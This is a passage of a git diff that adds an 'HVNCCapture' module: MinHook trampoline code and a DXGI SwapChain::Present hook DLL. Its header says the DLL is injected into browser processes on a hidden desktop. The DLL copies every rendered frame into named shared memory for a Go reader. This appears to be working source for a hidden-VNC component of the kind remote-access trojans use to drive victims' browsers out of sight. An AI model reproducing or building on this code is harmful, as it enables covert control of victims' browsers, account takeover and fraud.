!IsCodePadding((LPBYTE)ct->pTarget + oldPos, sizeof(JMP_REL_SHORT) - oldPos)) + { + return FALSE; + } + + // Can we place the long jump above the function? + if (!IsExecutableAddress((LPBYTE)ct->pTarget - sizeof(JMP_REL))) + return FALSE; + + if (!IsCodePadding((LPBYTE)ct->pTarget - sizeof(JMP_REL), sizeof(JMP_REL))) + return FALSE; + + ct->patchAbove = TRUE; + } + +#if defined(_M_X64) || defined(__x86_64__) + // Create a relay function. + jmp.address = (ULONG_PTR)ct->pDetour; + + ct->pRelay = (LPBYTE)ct->pTrampoline + newPos; + memcpy(ct->pRelay, &jmp, sizeof(jmp)); +#endif + + return TRUE; +} diff --git a/HVNCCapture/Minhook/src/trampoline.h b/HVNCCapture/Minhook/src/trampoline.h new file mode 100644 index 0000000..f7efb36 --- /dev/null +++ b/HVNCCapture/Minhook/src/trampoline.h @@ -0,0 +1,105 @@ +/* + * MinHook - The Minimalistic API Hooking Library for x64/x86 + * Copyright (C) 2009-2017 Tsuda Kageyu. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER + * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#pragma once + +#pragma pack(push, 1) + +// Structs for writing x86/x64 instructions. + +// 8-bit relative jump. +typedef struct _JMP_REL_SHORT +{ + UINT8 opcode; // EB xx: JMP +2+xx + INT8 operand; // Relative destination address +} JMP_REL_SHORT, *PJMP_REL_SHORT; + +// 32-bit direct relative jump/call. +typedef struct _JMP_REL +{ + UINT8 opcode; // E9/E8 xxxxxxxx: JMP/CALL +5+xxxxxxxx + INT32 operand; // Relative destination address +} JMP_REL, *PJMP_REL, CALL_REL; + +// 64-bit indirect absolute jump. +typedef struct _JMP_ABS +{ + UINT8 opcode0; // FF25 00000000: JMP [+6] + UINT8 opcode1; + UINT32 dummy; + UINT64 address; // Absolute destination address +} JMP_ABS, *PJMP_ABS; + +// 64-bit indirect absolute call. +typedef struct _CALL_ABS +{ + UINT8 opcode0; // FF15 00000002: CALL [+6] + UINT8 opcode1; + UINT32 dummy0; + UINT8 dummy1; // EB 08: JMP +10 + UINT8 dummy2; + UINT64 address; // Absolute destination address +} CALL_ABS; + +// 32-bit direct relative conditional jumps. +typedef struct _JCC_REL +{ + UINT8 opcode0; // 0F8* xxxxxxxx: J** +6+xxxxxxxx + UINT8 opcode1; + INT32 operand; // Relative destination address +} JCC_REL; + +// 64bit indirect absolute conditional jumps that x64 lacks. +typedef struct _JCC_ABS +{ + UINT8 opcode; // 7* 0E: J** +16 + UINT8 dummy0; + UINT8 dummy1; // FF25 00000000: JMP [+6] + UINT8 dummy2; + UINT32 dummy3; + UINT64 address; // Absolute destination address +} JCC_ABS; + +#pragma pack(pop) + +typedef struct _TRAMPOLINE +{ + LPVOID pTarget; // [In] Address of the target function. + LPVOID pDetour; // [In] Address of the detour function. + LPVOID pTrampoline; // [In] Buffer address for the trampoline and relay function. + +#if defined(_M_X64) || defined(__x86_64__) + LPVOID pRelay; // [Out] Address of the relay function. +#endif + BOOL patchAbove; // [Out] Should use the hot patch area? + UINT nIP; // [Out] Number of the instruction boundaries. + UINT8 oldIPs[8]; // [Out] Instruction boundaries of the target function. + UINT8 newIPs[8]; // [Out] Instruction boundaries of the trampoline function. +} TRAMPOLINE, *PTRAMPOLINE; + +BOOL CreateTrampolineFunction(PTRAMPOLINE ct); diff --git a/HVNCCapture/src/DXGICapture.c b/HVNCCapture/src/DXGICapture.c new file mode 100644 index 0000000..94a9257 --- /dev/null +++ b/HVNCCapture/src/DXGICapture.c @@ -0,0 +1,630 @@ +//===============================================================================================// +// HVNCCapture — DXGI SwapChain::Present hook implementation. +// +// Compiled as C++ (CompileAsCpp in vcxproj). Uses C++ COM calling convention +// (obj->Method(...) rather than obj->lpVtbl->Method(obj, ...)). +// +// Strategy: +// 1. Create a temporary D3D11 device + swapchain to get the vtable address +// of IDXGISwapChain::Present (vtable index 8) and Present1 (index 22). +// 2. Hook both via MinHook. +// 3. On each Present call, use the swapchain's GetBuffer(0) to get the +// backbuffer as an ID3D11Texture2D, copy it to a staging texture, +// Map it, and write the BGRA pixels into the shared memory section. +// 4. Signal the named event so the Go reader knows a frame is ready. +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include +#include +#include + +#include "MinHook.h" +#include "DXGICapture.h" + +#ifdef __cplusplus +extern "C" { +#endif + +//-----------------------------------------------------------------------------------------------// +// Forward declarations +//-----------------------------------------------------------------------------------------------// +typedef HRESULT(STDMETHODCALLTYPE* PFN_Present)(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags); +typedef HRESULT(STDMETHODCALLTYPE* PFN_Present1)(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters); +typedef HRESULT(STDMETHODCALLTYPE* PFN_ResizeBuffers)(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags); + +static HRESULT STDMETHODCALLTYPE HookedPresent(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags); +static HRESULT STDMETHODCALLTYPE HookedPresent1(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters); +static HRESULT STDMETHODCALLTYPE HookedResizeBuffers(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags); + +//-----------------------------------------------------------------------------------------------// +// Globals +//-----------------------------------------------------------------------------------------------// +static PFN_Present g_OrigPresent = NULL; +static PFN_Present1 g_OrigPresent1 = NULL; +static PFN_ResizeBuffers g_OrigResizeBuffers = NULL; + +// Staging resources — double-buffered to avoid blocking Map calls +static ID3D11Device* g_Device = NULL; +static ID3D11DeviceContext* g_Context = NULL; +static ID3D11Texture2D* g_Staging[2] = {NULL, NULL}; +static UINT g_StagingW = 0; +static UINT g_StagingH = 0; +static DXGI_FORMAT g_StagingFmt = DXGI_FORMAT_UNKNOWN; +static UINT g_WriteIdx = 0; // CopyResource target index +static BOOL g_HasPrevFrame = FALSE; // previous staging has valid data + +// Shared memory +static HANDLE g_ShmHandle = NULL; +static void* g_ShmView = NULL; +static SIZE_T g_ShmSize = 0; +static HANDLE g_FrameEvent = NULL; +static UINT64 g_FrameSeq = 0; + +// Frequency for timestamps +static LARGE_INTEGER g_PerfFreq; + +// Rate limiting — don't copy more than ~60 fps worth of frames +static LARGE_INTEGER g_LastFrameTime; +static const LONGLONG g_MinFrameIntervalUs = 16000; // ~60fps + +// Critical section for thread safety +static CRITICAL_SECTION g_Lock; +static BOOL g_LockInitialized = FALSE; + +// Primary swap chain tracking — only capture the largest one in the GPU process +static IDXGISwapChain* g_PrimarySwapChain = NULL; +static UINT g_PrimaryArea = 0; +static UINT g_PrimaryResetCounter = 0; + +// Minimum backbuffer dimensions worth capturing (skip internal surfaces) +#define MIN_CAPTURE_WIDTH 128 +#define MIN_CAPTURE_HEIGHT 128 +#define PRIMARY_RESET_INTERVAL 300 // re-evaluate primary every ~5s at 60fps + +//-----------------------------------------------------------------------------------------------// +// Helpers +//-----------------------------------------------------------------------------------------------// +#ifndef ENABLE_DEBUG_LOGGING +#define ENABLE_DEBUG_LOGGING 1 +#endif + +static void DebugLog(const char* fmt, ...) { +#if ENABLE_DEBUG_LOGGING + char buf[1024]; + va_list args; + va_start(args, fmt); + vsnprintf(buf, sizeof(buf), fmt, args); + va_end(args); + OutputDebugStringA(buf); +#else + (void)fmt; +#endif +} + +static UINT64 GetTimestampNs(void) { + LARGE_INTEGER now; + QueryPerformanceCounter(&now); + return (UINT64)((double)now.QuadPart * 1000000000.0 / (double)g_PerfFreq.QuadPart); +} + +static void BuildShmName(char* out, size_t outLen) { + DWORD pid = GetCurrentProcessId(); + snprintf(out, outLen, "%s%lu", HVNC_SHM_PREFIX, (unsigned long)pid); +} + +static void BuildEventName(char* out, size_t outLen) { + DWORD pid = GetCurrentProcessId(); + snprintf(out, outLen, "%s%lu", HVNC_EVENT_PREFIX, (unsigned long)pid); +} + +//-----------------------------------------------------------------------------------------------// +// Shared memory management +//-----------------------------------------------------------------------------------------------// +static BOOL EnsureSharedMemory(UINT width, UINT height) { + UINT stride = width * 4; + SIZE_T needed = sizeof(HVNCFrameHeader) + (SIZE_T)stride * height; + + if (g_ShmView && g_ShmSize >= needed) { + return TRUE; + } + + if (g_ShmView) { UnmapViewOfFile(g_ShmView); g_ShmView = NULL; } + if (g_ShmHandle) { CloseHandle(g_ShmHandle); g_ShmHandle = NULL; } + g_ShmSize = 0; + + char shmName[128]; + BuildShmName(shmName, sizeof(shmName)); + + wchar_t wShmName[128]; + MultiByteToWideChar(CP_ACP, 0, shmName, -1, wShmName, 128); + + DWORD sizeHigh = (DWORD)(needed >> 32); + DWORD sizeLow = (DWORD)(needed & 0xFFFFFFFF); + + g_ShmHandle = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, sizeHigh, sizeLow, wShmName); + if (!g_ShmHandle) { + DebugLog("[HVNCCapture] CreateFileMappingW failed: %lu\n", GetLastError()); + return FALSE; + } + + g_ShmView = MapViewOfFile(g_ShmHandle, FILE_MAP_WRITE, 0, 0, needed); + if (!g_ShmView) { + DebugLog("[HVNCCapture] MapViewOfFile failed: %lu\n", GetLastError()); + CloseHandle(g_ShmHandle); + g_ShmHandle = NULL; + return FALSE; + } + + g_ShmSize = needed; + + if (!g_FrameEvent) { + char evtName[128]; + BuildEventName(evtName, sizeof(evtName)); + wchar_t wEvtName[128]; + MultiByteToWideChar(CP_ACP, 0, evtName, -1, wEvtName, 128); + g_FrameEvent = CreateEventW(NULL, FALSE, FALSE, wEvtName); + } + + DebugLog("[HVNCCapture] Shared memory created: %s (%zu bytes, %ux%u)\n", shmName, needed, width, height); + return TRUE; +} + +//-----------------------------------------------------------------------------------------------// +// Staging texture management (double-buffered) +//-----------------------------------------------------------------------------------------------// +static BOOL EnsureStaging(ID3D11Device* device, UINT width, UINT height, DXGI_FORMAT fmt) { + if (g_Staging[0] && g_Staging[1] && g_StagingW == width && g_StagingH == height && g_StagingFmt == fmt) { + return TRUE; + } + + if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; } + if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; } + g_HasPrevFrame = FALSE; + g_WriteIdx = 0; + + // Normalise typeless formats to their UNORM equivalents for staging + DXGI_FORMAT stageFmt = fmt; + switch (fmt) { + case DXGI_FORMAT_B8G8R8A8_TYPELESS: stageFmt = DXGI_FORMAT_B8G8R8A8_UNORM; break; + case DXGI_FORMAT_R8G8B8A8_TYPELESS: stageFmt = DXGI_FORMAT_R8G8B8A8_UNORM; break; + case DXGI_FORMAT_R10G10B10A2_TYPELESS: stageFmt = DXGI_FORMAT_R10G10B10A2_UNORM; break; + case DXGI_FORMAT_R16G16B16A16_TYPELESS: stageFmt = DXGI_FORMAT_R16G16B16A16_FLOAT; break; + default: break; + } + + D3D11_TEXTURE2D_DESC desc; + ZeroMemory(&desc, sizeof(desc)); + desc.Width = width; + desc.Height = height; + desc.MipLevels = 1; + desc.ArraySize = 1; + desc.Format = stageFmt; + desc.SampleDesc.Count = 1; + desc.SampleDesc.Quality = 0; + desc.Usage = D3D11_USAGE_STAGING; + desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ; + desc.BindFlags = 0; + desc.MiscFlags = 0; + + HRESULT hr = device->CreateTexture2D(&desc, NULL, &g_Staging[0]); + if (FAILED(hr)) { + DebugLog("[HVNCCapture] CreateTexture2D staging[0] failed: 0x%08x fmt=%u\n", hr, (unsigned)stageFmt); + return FALSE; + } + hr = device->CreateTexture2D(&desc, NULL, &g_Staging[1]); + if (FAILED(hr)) { + DebugLog("[HVNCCapture] CreateTexture2D staging[1] failed: 0x%08x fmt=%u\n", hr, (unsigned)stageFmt); + g_Staging[0]->Release(); g_Staging[0] = NULL; + return FALSE; + } + + g_StagingW = width; + g_StagingH = height; + g_StagingFmt = fmt; + DebugLog("[HVNCCapture] Staging textures created: %ux%u fmt=%u\n", width, height, (unsigned)stageFmt); + return TRUE; +} + +// Is this a 32-bit-per-pixel BGRA/RGBA format we can directly memcpy? +static BOOL IsCopyable32bpp(DXGI_FORMAT fmt) { + switch (fmt) { + case DXGI_FORMAT_B8G8R8A8_UNORM: + case DXGI_FORMAT_B8G8R8A8_UNORM_SRGB: + case DXGI_FORMAT_B8G8R8A8_TYPELESS: + case DXGI_FORMAT_R8G8B8A8_UNORM: + case DXGI_FORMAT_R8G8B8A8_UNORM_SRGB: + case DXGI_FORMAT_R8G8B8A8_TYPELESS: + return TRUE; + default: + return FALSE; + } +} + +//-----------------------------------------------------------------------------------------------// +// Core frame capture — called from Present hooks (SEH-protected) +//-----------------------------------------------------------------------------------------------// +static void CaptureFrameInner(IDXGISwapChain* pSwapChain) { + // Rate limit + LARGE_INTEGER now; + QueryPerformanceCounter(&now); + LONGLONG elapsedUs = (now.QuadPart - g_LastFrameTime.QuadPart) * 1000000 / g_PerfFreq.QuadPart; + if (elapsedUs < g_MinFrameIntervalUs) { + return; + } + g_LastFrameTime = now; + + // Get the backbuffer + ID3D11Texture2D* backbuffer = NULL; + HRESULT hr = pSwapChain->GetBuffer(0, __uuidof(ID3D11Texture2D), (void**)&backbuffer); + if (FAILED(hr) || !backbuffer) { + return; + } + + // Get device/context from the backbuffer if not cached + if (!g_Device) { + ((ID3D11Resource*)backbuffer)->GetDevice(&g_Device); + if (g_Device) { + g_Device->GetImmediateContext(&g_Context); + } + } + + if (!g_Device || !g_Context) { + backbuffer->Release(); + return; + } + + D3D11_TEXTURE2D_DESC bbDesc; + backbuffer->GetDesc(&bbDesc); + + UINT w = bbDesc.Width; + UINT h = bbDesc.Height; + + if (w == 0 || h == 0 || w > HVNC_MAX_WIDTH || h > HVNC_MAX_HEIGHT) { + backbuffer->Release(); + return; + } + + // Skip tiny internal surfaces (tooltips, scrollbars, compositor layers) + if (w < MIN_CAPTURE_WIDTH || h < MIN_CAPTURE_HEIGHT) { + backbuffer->Release(); + return; + } + + // Track the primary (largest) swap chain — Chrome GPU process serves many + UINT area = w * h; + g_PrimaryResetCounter++; + if (g_PrimaryResetCounter >= PRIMARY_RESET_INTERVAL) { + g_PrimarySwapChain = NULL; + g_PrimaryArea = 0; + g_PrimaryResetCounter = 0; + } + if (g_PrimarySwapChain == NULL || pSwapChain == g_PrimarySwapChain) { + g_PrimarySwapChain = pSwapChain; + if (area > g_PrimaryArea) g_PrimaryArea = area; + } else if (area > g_PrimaryArea) { + g_PrimarySwapChain = pSwapChain; + g_PrimaryArea = area; + } else { + backbuffer->Release(); + return; + } + + // Only capture 32bpp BGRA/RGBA formats we can handle + if (!IsCopyable32bpp(bbDesc.Format)) { + backbuffer->Release(); + return; + } + + if (!EnsureStaging(g_Device, w, h, bbDesc.Format)) { + backbuffer->Release(); + return; + } + + if (!EnsureSharedMemory(w, h)) { + backbuffer->Release(); + return; + } + + UINT writeIdx = g_WriteIdx; + UINT readIdx = 1 - writeIdx; + + // Copy backbuffer to the write staging texture (async GPU op, returns immediately) + if (bbDesc.SampleDesc.Count > 1) { + D3D11_TEXTURE2D_DESC resolveDesc = bbDesc; + resolveDesc.SampleDesc.Count = 1; + resolveDesc.SampleDesc.Quality = 0; + resolveDesc.Usage = D3D11_USAGE_DEFAULT; + resolveDesc.BindFlags = 0; + resolveDesc.CPUAccessFlags = 0; + resolveDesc.MiscFlags = 0; + + ID3D11Texture2D* resolved = NULL; + hr = g_Device->CreateTexture2D(&resolveDesc, NULL, &resolved); + if (SUCCEEDED(hr) && resolved) { + g_Context->ResolveSubresource(resolved, 0, backbuffer, 0, bbDesc.Format); + g_Context->CopyResource(g_Staging[writeIdx], resolved); + resolved->Release(); + } else { + backbuffer->Release(); + return; + } + } else { + g_Context->CopyResource(g_Staging[writeIdx], backbuffer); + } + + backbuffer->Release(); + + // Flip staging index for next frame + g_WriteIdx = readIdx; + + // On first frame, nothing to read yet + if (!g_HasPrevFrame) { + g_HasPrevFrame = TRUE; + return; + } + + // Map the READ staging (previous frame) — non-blocking to avoid stalling Chrome's GPU thread + D3D11_MAPPED_SUBRESOURCE mapped; + hr = g_Context->Map(g_Staging[readIdx], 0, D3D11_MAP_READ, D3D11_MAP_FLAG_DO_NOT_WAIT, &mapped); + if (hr == DXGI_ERROR_WAS_STILL_DRAWING) { + return; // GPU hasn't finished the previous copy — skip + } + if (FAILED(hr)) { + DebugLog("[HVNCCapture] Map failed: 0x%08x\n", hr); + return; + } + + UINT dstStride = w * 4; + UINT srcPitch = mapped.RowPitch; + BYTE* dst = (BYTE*)g_ShmView + sizeof(HVNCFrameHeader); + BYTE* src = (BYTE*)mapped.pData; + + for (UINT y = 0; y < h; y++) { + memcpy(dst + (SIZE_T)y * dstStride, src + (SIZE_T)y * srcPitch, dstStride); + } + + g_Context->Unmap(g_Staging[readIdx], 0); + + // Write header (AFTER pixel data + barrier so reader sees consistent data) + g_FrameSeq++; + HVNCFrameHeader* hdr = (HVNCFrameHeader*)g_ShmView; + hdr->magic = HVNC_FRAME_MAGIC; + hdr->version = HVNC_FRAME_VERSION; + hdr->width = w; + hdr->height = h; + hdr->stride = dstStride; + hdr->format = (UINT32)bbDesc.Format; + hdr->frameSeq = g_FrameSeq; + hdr->timestampNs = GetTimestampNs(); + hdr->pid = GetCurrentProcessId(); + hdr->reserved = 0; + + MemoryBarrier(); + + if (g_FrameEvent) { + SetEvent(g_FrameEvent); + } +} + +static void CaptureFrame(IDXGISwapChain* pSwapChain) { + if (!g_LockInitialized) return; + + if (!TryEnterCriticalSection(&g_Lock)) return; // skip if ResizeBuffers holds the lock + __try { + CaptureFrameInner(pSwapChain); + } + __except (EXCEPTION_EXECUTE_HANDLER) { + DebugLog("[HVNCCapture] SEH exception 0x%08x in CaptureFrame — skipping frame\n", + GetExceptionCode()); + } + LeaveCriticalSection(&g_Lock); +} + +//-----------------------------------------------------------------------------------------------// +// Hooked functions +//-----------------------------------------------------------------------------------------------// +static HRESULT STDMETHODCALLTYPE HookedPresent(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags) { + CaptureFrame(pSwapChain); + return g_OrigPresent(pSwapChain, SyncInterval, Flags); +} + +static HRESULT STDMETHODCALLTYPE HookedPresent1(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters) { + CaptureFrame((IDXGISwapChain*)pSwapChain); + return g_OrigPresent1(pSwapChain, SyncInterval, PresentFlags, pPresentParameters); +} + +static HRESULT STDMETHODCALLTYPE HookedResizeBuffers(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags) { + EnterCriticalSection(&g_Lock); + if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; } + if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; } + g_StagingW = 0; g_StagingH = 0; g_StagingFmt = DXGI_FORMAT_UNKNOWN; + g_HasPrevFrame = FALSE; g_WriteIdx = 0; + g_PrimarySwapChain = NULL; g_PrimaryArea = 0; g_PrimaryResetCounter = 0; + if (g_Context) { g_Context->Release(); g_Context = NULL; } + if (g_Device) { g_Device->Release(); g_Device = NULL; } + LeaveCriticalSection(&g_Lock); + + return g_OrigResizeBuffers(pSwapChain, BufferCount, Width, Height, NewFormat, SwapChainFlags); +} + +//-----------------------------------------------------------------------------------------------// +// vtable discovery — create a dummy swapchain to get Present address +//-----------------------------------------------------------------------------------------------// +static BOOL GetDXGIPresent(void** ppPresent, void** ppPresent1, void** ppResizeBuffers) { + *ppPresent = NULL; + *ppPresent1 = NULL; + *ppResizeBuffers = NULL; + + HMODULE hD3D11 = GetModuleHandleA("d3d11.dll"); + if (!hD3D11) hD3D11 = LoadLibraryA("d3d11.dll"); + if (!hD3D11) { + DebugLog("[HVNCCapture] d3d11.dll not available\n"); + return FALSE; + } + + typedef HRESULT(WINAPI* PFN_D3D11CreateDeviceAndSwapChain)( + IDXGIAdapter*, D3D_DRIVER_TYPE, HMODULE, UINT, const D3D_FEATURE_LEVEL*, + UINT, UINT, const DXGI_SWAP_CHAIN_DESC*, IDXGISwapChain**, ID3D11Device**, + D3D_FEATURE_LEVEL*, ID3D11DeviceContext**); + + PFN_D3D11CreateDeviceAndSwapChain pCreate = + (PFN_D3D11CreateDeviceAndSwapChain)GetProcAddress(hD3D11, "D3D11CreateDeviceAndSwapChain"); + if (!pCreate) { + DebugLog("[HVNCCapture] D3D11CreateDeviceAndSwapChain not found\n"); + return FALSE; + } + + HWND hWnd = GetDesktopWindow(); + + DXGI_SWAP_CHAIN_DESC scd; + ZeroMemory(&scd, sizeof(scd)); + scd.BufferCount = 1; + scd.BufferDesc.Width = 2; + scd.BufferDesc.Height = 2; + scd.BufferDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM; + scd.BufferDesc.RefreshRate.Numerator = 60; + scd.BufferDesc.RefreshRate.Denominator = 1; + scd.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT; + scd.OutputWindow = hWnd; + scd.SampleDesc.Count = 1; + scd.Windowed = TRUE; + scd.SwapEffect = DXGI_SWAP_EFFECT_DISCARD; + + IDXGISwapChain* pSwapChain = NULL; + ID3D11Device* pDevice = NULL; + ID3D11DeviceContext* pCtx = NULL; + D3D_FEATURE_LEVEL featureLevel; + + HRESULT hr = pCreate(NULL, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, NULL, 0, + D3D11_SDK_VERSION, &scd, &pSwapChain, &pDevice, &featureLevel, &pCtx); + + if (FAILED(hr) || !pSwapChain) { + hr = pCreate(NULL, D3D_DRIVER_TYPE_WARP, NULL, 0, NULL, 0, + D3D11_SDK_VERSION, &scd, &pSwapChain, &pDevice, &featureLevel, &pCtx); + } + + if (FAILED(hr) || !pSwapChain) { + DebugLog("[HVNCCapture] Failed to create dummy swapchain: 0x%08x\n", hr); + if (pCtx) pCtx->Release(); + if (pDevice) pDevice->Release(); + if (pSwapChain) pSwapChain->Release(); + return FALSE; + } + + // Extract vtable pointers via raw vtable read + // IDXGISwapChain: Present is at index 8, ResizeBuffers at index 13 + void** vtable = *(void***)pSwapChain; + *ppPresent = vtable[8]; + *ppResizeBuffers = vtable[13]; + + // Try to get Present1 from IDXGISwapChain1 + IDXGISwapChain1* pSwapChain1 = NULL; + hr = pSwapChain->QueryInterface(__uuidof(IDXGISwapChain1), (void**)&pSwapChain1); + if (SUCCEEDED(hr) && pSwapChain1) { + void** vtable1 = *(void***)pSwapChain1; + // IDXGISwapChain1: Present1 is at vtable index 22 + *ppPresent1 = vtable1[22]; + pSwapChain1->Release(); + } + + pCtx->Release(); + pDevice->Release(); + pSwapChain->Release(); + + DebugLog("[HVNCCapture] vtable Present=%p Present1=%p ResizeBuffers=%p\n", + *ppPresent, *ppPresent1, *ppResizeBuffers); + return TRUE; +} + +//-----------------------------------------------------------------------------------------------// +// Public API +//-----------------------------------------------------------------------------------------------// +void InstallDXGICapture(void) { + QueryPerformanceFrequency(&g_PerfFreq); + QueryPerformanceCounter(&g_LastFrameTime); + + InitializeCriticalSection(&g_Lock); + g_LockInitialized = TRUE; + + MH_STATUS status = MH_Initialize(); + if (status != MH_OK && status != MH_ERROR_ALREADY_INITIALIZED) { + DebugLog("[HVNCCapture] MH_Initialize failed: %d\n", status); + return; + } + + void* pPresent = NULL; + void* pPresent1 = NULL; + void* pResizeBuffers = NULL; + + if (!GetDXGIPresent(&pPresent, &pPresent1, &pResizeBuffers)) { + DebugLog("[HVNCCapture] Failed to discover DXGI vtable\n"); + return; + } + + if (pPresent) { + status = MH_CreateHook(pPresent, (LPVOID)HookedPresent, (LPVOID*)&g_OrigPresent); + if (status == MH_OK) { + MH_EnableHook(pPresent); + DebugLog("[HVNCCapture] Present hooked at %p\n", pPresent); + } else { + DebugLog("[HVNCCapture] MH_CreateHook Present failed: %d\n", status); + } + } + + if (pPresent1) { + status = MH_CreateHook(pPresent1, (LPVOID)HookedPresent1, (LPVOID*)&g_OrigPresent1); + if (status == MH_OK) { + MH_EnableHook(pPresent1); + DebugLog("[HVNCCapture] Present1 hooked at %p\n", pPresent1); + } else { + DebugLog("[HVNCCapture] MH_CreateHook Present1 failed: %d\n", status); + } + } + + if (pResizeBuffers) { + status = MH_CreateHook(pResizeBuffers, (LPVOID)HookedResizeBuffers, (LPVOID*)&g_OrigResizeBuffers); + if (status == MH_OK) { + MH_EnableHook(pResizeBuffers); + DebugLog("[HVNCCapture] ResizeBuffers hooked at %p\n", pResizeBuffers); + } else { + DebugLog("[HVNCCapture] MH_CreateHook ResizeBuffers failed: %d\n", status); + } + } + + DebugLog("[HVNCCapture] DXGI hooks installed (PID %lu)\n", GetCurrentProcessId()); +} + +void RemoveDXGICapture(void) { + if (g_OrigPresent) { MH_DisableHook((LPVOID)g_OrigPresent); MH_RemoveHook((LPVOID)g_OrigPresent); } + if (g_OrigPresent1) { MH_DisableHook((LPVOID)g_OrigPresent1); MH_RemoveHook((LPVOID)g_OrigPresent1); } + if (g_OrigResizeBuffers) { MH_DisableHook((LPVOID)g_OrigResizeBuffers); MH_RemoveHook((LPVOID)g_OrigResizeBuffers); } + + MH_Uninitialize(); + + if (g_LockInitialized) { + EnterCriticalSection(&g_Lock); + } + + if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; } + if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; } + if (g_Context) { g_Context->Release(); g_Context = NULL; } + if (g_Device) { g_Device->Release(); g_Device = NULL; } + + if (g_ShmView) { UnmapViewOfFile(g_ShmView); g_ShmView = NULL; } + if (g_ShmHandle) { CloseHandle(g_ShmHandle); g_ShmHandle = NULL; } + if (g_FrameEvent) { CloseHandle(g_FrameEvent); g_FrameEvent = NULL; } + + if (g_LockInitialized) { + LeaveCriticalSection(&g_Lock); + DeleteCriticalSection(&g_Lock); + g_LockInitialized = FALSE; + } + + DebugLog("[HVNCCapture] Cleaned up\n"); +} + +#ifdef __cplusplus +} +#endif diff --git a/HVNCCapture/src/DXGICapture.h b/HVNCCapture/src/DXGICapture.h new file mode 100644 index 0000000..b6ba554 --- /dev/null +++ b/HVNCCapture/src/DXGICapture.h @@ -0,0 +1,61 @@ +//===============================================================================================// +// HVNCCapture — DXGI SwapChain::Present hook for fast HVNC frame capture. +// +// Injected into browser processes running on the hidden desktop. Hooks +// IDXGISwapChain::Present to intercept rendered frames, copies the backbuffer +// to a named shared-memory section so the Go capture thread can read them +// directly instead of using the slow PrintWindow API. +// +// Shared memory layout (HVNCFrameHeader at offset 0, then pixel data): +// [HVNCFrameHeader][BGRA pixel data, stride-aligned rows] +// +// Signaling: named event "Local\hvnc_frame_{pid}" is set after each new frame. +//===============================================================================================// +#ifndef _DXGI_CAPTURE_H +#define _DXGI_CAPTURE_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +// Initialize DXGI Present hook. Call from DllMain(DLL_PROCESS_ATTACH). +void InstallDXGICapture(void); + +// Remove hook and clean up shared memory. Call from DllMain(DLL_PROCESS_DETACH). +void RemoveDXGICapture(void); + +#ifdef __cplusplus +} +#endif + +// Shared memory header — must match Go-side definition exactly. +#pragma pack(push, 1) +typedef struct { + UINT32 magic; // 'HVNC' = 0x434E5648 + UINT32 version; // 1 + UINT32 width; + UINT32 height; + UINT32 stride; // bytes per row (width * 4, may be padded) + UINT32 format; // DXGI_FORMAT value (87 = B8G8R8A8_UNORM) + UINT64 frameSeq; // monotonically increasing frame counter + UINT64 timestampNs; // QueryPerformanceCounter-based nanoseconds + UINT32 pid; // process ID that produced this frame + UINT32 reserved; // alignment padding +} HVNCFrameHeader; +#pragma pack(pop) + +#define HVNC_FRAME_MAGIC 0x434E5648 // 'HVNC' +#define HVNC_FRAME_VERSION 1 + +// Maximum frame dimensions we support (prevents runaway allocation) +#define HVNC_MAX_WIDTH 7680 +#define HVNC_MAX_HEIGHT 4320 + +// Shared memory name format — {pid} is the decimal process ID +// e.g. "Local\hvnc_frame_12345" +#define HVNC_SHM_PREFIX "Local\\hvnc_frame_" +#define HVNC_EVENT_PREFIX "Local\\hvnc_evt_" + +#endif // _DXGI_CAPTURE_H diff --git a/HVNCCapture/src/MinHook.h 